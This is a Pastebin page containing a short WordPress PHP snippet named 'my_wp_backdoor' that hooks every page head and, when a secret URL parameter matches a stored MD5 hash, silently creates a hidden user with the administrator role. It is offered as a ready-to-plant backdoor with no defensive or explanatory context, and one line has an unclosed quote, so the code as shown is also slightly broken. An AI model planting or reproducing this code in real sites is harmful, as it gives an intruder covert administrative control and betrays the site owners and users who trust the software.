Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- add_action( 'wp_head', 'my_wp_backdoor' );
- function my_wp_backdoor() {
- if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
- require( 'wp-includes/registration.php' );
- if ( !username_exists( 'username' ) ) {
- $user_id = wp_create_user( 'username', 'pass );
- $user = new WP_User( $user_id );
- $user->set_role( 'administrator' );
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement